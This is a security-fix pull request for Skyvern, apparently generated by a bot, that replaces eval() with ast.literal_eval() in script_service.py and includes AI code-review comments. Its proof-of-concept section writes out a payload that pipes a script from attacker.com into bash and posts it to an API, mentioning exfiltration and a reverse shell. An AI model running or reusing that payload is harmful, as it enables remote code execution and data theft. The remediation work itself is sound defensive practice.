[Security] Fix HIGH vulnerability: python.lang.security.audit.eval-detected.eval-detected

[orbisai0security]

Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	Critical	In the context of Skyvern, an AI-powered web automation tool, exploitation of eval() in script_service.py could allow remote code execution if user-provided task inputs or scripts are evaluated, potentially leading to full server compromise, data exfiltration from automated sessions, or lateral movement to other systems. The repository's nature as a service handling dynamic web interactions amplifies the risk of injecting malicious code that executes with the service's privileges.
Likelihood	High	Skyvern is designed for user-defined automation tasks, likely accepting inputs that could influence script execution; if eval() processes these inputs without sanitization, attackers could exploit it via crafted task requests, especially in a deployed web service scenario where public APIs are exposed. The open-source nature and focus on AI-driven automation make it a plausible target for attackers seeking to inject code for reconnaissance or disruption.
Ease of Fix	Medium	Remediation would involve refactoring script_service.py to replace eval() with safer alternatives like ast.literal_eval for data or exec() with restricted environments, potentially requiring updates to how dynamic scripts are handled and moderate testing to ensure automation functionality remains intact. Dependencies on dynamic code execution for AI-generated tasks might necessitate careful changes to avoid breaking core features.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in skyvern/services/script_service.py involves the use of eval() to execute dynamically generated code, which can lead to code injection if user-controlled input is not properly sanitized. In the context of Skyvern, an AI-powered web automation tool, this could allow attackers to inject malicious Python code into scripts that are generated and executed during web scraping or automation tasks, potentially compromising the execution environment. Exploitation requires an attacker to provide crafted input that influences the code being eval'd, such as through API endpoints or configuration files that feed into the script generation process.

The vulnerability in skyvern/services/script_service.py involves the use of eval() to execute dynamically generated code, which can lead to code injection if user-controlled input is not properly sanitized. In the context of Skyvern, an AI-powered web automation tool, this could allow attackers to inject malicious Python code into scripts that are generated and executed during web scraping or automation tasks, potentially compromising the execution environment. Exploitation requires an attacker to provide crafted input that influences the code being eval'd, such as through API endpoints or configuration files that feed into the script generation process.

# Proof-of-Concept Exploit Code
# This demonstrates code injection via eval() in skyvern/services/script_service.py
# Assumptions: Attacker has access to input that influences the script content (e.g., via Skyvern's API or configuration)
# In a real scenario, this could be triggered by sending malicious data to an endpoint that generates/executes scripts

import requests  # Assuming Skyvern exposes an API for automation tasks

# Step 1: Craft malicious payload to inject into the eval'd script
# The payload executes arbitrary code, e.g., exfiltrating data or spawning a reverse shell
malicious_payload = """
__import__('os').system('curl http://attacker.com/exfiltrate_data.sh | bash')
"""

# Step 2: Inject the payload into a script template that gets eval'd
# Based on Skyvern's architecture, scripts are likely generated from user inputs or prompts
# For example, if Skyvern allows custom automation scripts via API, inject via a prompt or task definition
exploit_script = f"""
# Simulated Skyvern script template (mirroring script_service.py logic)
def run_automation():
    user_input = "{malicious_payload}"  # This would be user-controlled in practice
    eval(user_input)  # Direct eval() call as flagged by semgrep

run_automation()
"""

# Step 3: Execute the exploit (in a test environment)
# If Skyvern runs this via an API, send a POST request with crafted data
# Example API call (hypothetical, based on Skyvern's web interface)
response = requests.post(
    "https://skyvern-instance.com/api/automate",  # Replace with actual endpoint
    json={
        "task": "scrape_website",
        "script": exploit_script  # Injects the malicious code
    },
    headers={"Authorization": "Bearer <compromised_token>"}
)

# If successful, the eval() executes the injected code, e.g., running the system command
print("Exploit sent. Check for reverse shell or data exfiltration on attacker server.")

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	High	Successful injection could exfiltrate sensitive data processed by Skyvern, such as scraped website content, user credentials stored in sessions, or API keys used for automation. If Skyvern handles personal data during web tasks, this could leak user information or business secrets to an attacker-controlled server.
System Compromise	High	Arbitrary code execution via eval() allows full Python code injection, enabling attackers to gain shell access, install malware, or pivot to other systems in the deployment environment (e.g., escaping containers if Skyvern runs in Docker). This could lead to control over the host or cloud infrastructure running Skyvern.
Operational Impact	Medium	Injected code could disrupt automation tasks, cause resource exhaustion (e.g., infinite loops or high CPU usage), or corrupt data during web scraping. This might result in service downtime for users relying on Skyvern for automated workflows, with recovery requiring script validation and potential rollback.
Compliance Risk	High	Violates OWASP Top 10 A03:2021-Injection guidelines, potentially breaching GDPR if personal data is processed, and SOC2 controls for secure code execution. In regulated industries like finance or healthcare (if Skyvern is used for data scraping), this could lead to audit failures and legal penalties for insecure handling of dynamic code.

Vulnerability Details

• Rule ID: python.lang.security.audit.eval-detected.eval-detected
• File: skyvern/services/script_service.py
• Description: Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• skyvern/services/script_service.py

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.

---

🔒 This PR fixes a critical security vulnerability by replacing the dangerous eval() function with the safer ast.literal_eval() in the script service, preventing potential code injection attacks. The change maintains functionality while adding proper error handling for malformed input.

🔍 Detailed Analysis

Key Changes

• Security Fix: Replaced eval(rendered_value) with ast.literal_eval(rendered_value) in the render_list() function
• Error Handling: Added try-catch block to handle ValueError and SyntaxError exceptions from ast.literal_eval()
• Fallback Logic: If parsing fails, the function now treats the rendered value as a single string item in a list

Technical Implementation

flowchart TD
    A[render_list called] --> B[render_template executed]
    B --> C[Try ast.literal_eval]
    C --> D{Parsing successful?}
    D -->|Yes| E{Is result a list?}
    D -->|No| F[Catch ValueError/SyntaxError]
    E -->|Yes| G[Return list]
    E -->|No| H[Return single item as list]
    F --> I[Return rendered_value as single item list]

Loading

Impact

• Security Enhancement: Eliminates code injection vulnerability by restricting evaluation to literal expressions only (strings, numbers, tuples, lists, dicts, booleans, None)
• Maintained Functionality: Preserves the original behavior of converting rendered templates to lists while adding safety
• Improved Robustness: Graceful error handling prevents crashes when malformed input is provided, defaulting to treating input as a string

Created with Palmier

Summary by CodeRabbit

• Bug Fixes
  • Enhanced system stability through improved error handling in template processing, preventing crashes and ensuring consistent behavior across edge cases and invalid inputs.

---

Important

Replaces eval() with ast.literal_eval() in render_list() in script_service.py to fix a critical security vulnerability.

• Security Fix:
  • Replaces eval() with ast.literal_eval() in render_list() in script_service.py to prevent code injection vulnerabilities.
  • Handles ValueError and SyntaxError exceptions to return the rendered value as a single string item if ast.literal_eval() fails.
• Verification:
  • Automated verification through build checks, scanner re-scan, and LLM code review.

^{This description was created by for e396094. You can customize this summary. It will automatically update as commits are pushed.}

[coderabbitai]

Walkthrough

The render_list function in the script service now employs ast.literal_eval for safer template evaluation. Error handling has been expanded to catch ValueError and SyntaxError, ensuring non-list results are returned as single-item lists rather than causing crashes.

Changes

Cohort / File(s)	Summary
Safe Template Evaluation skyvern/services/script_service.py	Added ast.literal_eval for safe evaluation of rendered templates with expanded error handling for ValueError and SyntaxError; non-list results now wrapped in a list.

Estimated code review effort

🎯 2 (Simple) | ⏱️ ~8 minutes

• Review the error handling logic and fallback behavior in render_list to ensure non-list values are handled correctly
• Verify that the ast.literal_eval approach maintains backward compatibility with existing list and string results

Poem

🐰 Safe parsing hops through templates true,
No crashes now, just lists anew!
With ast's gentle guard, values dance free,
Wrapped in safety, as lists they'll be! ✨

Pre-merge checks and finishing touches

❌ Failed checks (1 warning)

Check name	Status	Explanation	Resolution
Docstring Coverage	⚠️ Warning	Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%.	You can run @coderabbitai generate docstrings to improve docstring coverage.

✅ Passed checks (2 passed)

Check name	Status	Explanation
Title check	✅ Passed	The title directly addresses the main change: fixing a HIGH security vulnerability (eval detected) in the codebase by replacing unsafe eval() usage with safer alternatives.
Description Check	✅ Passed	Check skipped - CodeRabbit’s high-level summary is enabled.

✨ Finishing touches

• 📝 Generate docstrings

🧪 Generate unit tests (beta)

• Create PR with unit tests
• Post copyable unit tests in a comment

---

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Actionable comments posted: 0

🧹 Nitpick comments (2)

skyvern/services/script_service.py (2)

1712-1712: Consider moving the import to the top of the file.

Local imports inside functions are generally discouraged unless there's a specific reason (e.g., avoiding circular dependencies). Moving this import to line 1 with other imports would align with Python conventions.

+import ast
 import asyncio
 import base64

And remove the local import:

     try:
         # Use ast.literal_eval instead of eval for security - only evaluates literal expressions
-        import ast
         list_value = ast.literal_eval(rendered_value)

---

1718-1720: Address unused exception variable and consider adding observability.

The exception variable e is caught but never used. Additionally, logging when the fallback occurs would help diagnose template rendering issues.

Based on static analysis hints.

Apply this diff:

-    except (ValueError, SyntaxError) as e:
+    except (ValueError, SyntaxError):
         # If ast.literal_eval fails, treat the rendered value as a single string item
+        LOG.debug("Failed to parse rendered value as literal, treating as string", rendered_value=rendered_value)
         return [rendered_value]

📜 Review details

Configuration used: CodeRabbit UI

Review profile: CHILL

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 1559160 and e396094.

📒 Files selected for processing (1)

• skyvern/services/script_service.py (1 hunks)

🧰 Additional context used

🪛 Ruff (0.14.5)

skyvern/services/script_service.py

1718-1718: Local variable e is assigned to but never used

Remove assignment to unused variable e

(F841)

🔇 Additional comments (1)

skyvern/services/script_service.py (1)

1708-1720: Excellent security fix: ast.literal_eval prevents code injection.

The replacement of eval() with ast.literal_eval() correctly addresses the HIGH-severity vulnerability. ast.literal_eval() safely evaluates only Python literals (strings, numbers, lists, dicts, etc.) without allowing arbitrary code execution.